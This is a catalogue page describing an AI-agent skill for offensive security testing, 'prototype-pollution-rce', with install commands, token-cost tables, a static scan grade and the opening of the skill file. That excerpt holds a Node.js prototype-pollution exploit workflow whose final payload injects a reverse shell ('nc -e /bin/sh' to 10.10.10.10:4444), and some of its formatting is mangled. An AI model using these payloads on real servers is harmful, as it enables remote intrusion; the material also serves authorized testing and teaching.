Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rceWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rce)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rce/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01129 |
| Opus 5 | $0.00028 | $0.00564 |
| Sonnet 5 | $0.00011 | $0.00226 |
| Haiku 4.5 | $0.00006 | $0.00113 |
Grade A, and why
prototype-pollution-rce scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
gadgets (like `child_process.spawn`) to achieve Remote Code Execution (RCE). How it starts
The opening of the file, as written. The whole thing — 142 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Prototype Pollution to RCE (Node.js)
When to Use
- When auditing JavaScript (client-side) or Node.js (server-side) applications that perform deep merging, cloning, or path assignment on user-controlled JSON data.
- To escalate a seemingly minor logic flaw (modifying object properties) into full Remote Code Execution on the backend server.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying the Pollution Vector (Sink)
# Concept: Deep Merge const merge = (target, source) => {
for (let attr in source) {
if (typeof(target[attr]) === "object" && typeof(source[attr]) === "object") {
merge(target[attr], source[attr]); // VULNERABLE } else {
target[attr] = source[attr];
}
}
return target;
};
Phase 2: Testing for Pollution
# POST /api/settings HTTP/1.1
Content-Type: application/json
{"__proto__": {"isAdmin": true}}
# ```
### Phase 3: Finding a Gadget (Path to RCE)
```javascript
# const { execSync } = require('child_process');
function executeCommand(opts) {
// let shell = opts.shell || '/bin/sh';
execSync('echo hello', { shell: shell });
}
Phase 4: Exploitation (Polluting the Gadget)
# POST /api/settings HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"shell": "node -e 'require(\"child_process\").execSync(\"nc -e /bin/sh 10.10.10.10 4444\")'"
}
}
Decision Point 🔀
flowchart TD
A[Test Prototype ] --> B{Pollution Verified ]}
B -->|Yes| C[Find Gadgets ]
B -->|No| D[Check Alternate ]
C --> E[Exploit RCE ]
🔵 Blue Team Detection & Defense
- Input Sanitization: Safe Merging Libraries: Object.freeze() / Object.create(null): Key Concepts | Concept | Description | |---------|-------------|
Output Format
Prototype Pollution Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 142 lines · 55 tokens per session scan A 8b03dc7a1c7f
prototype-pollution-rce is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,129 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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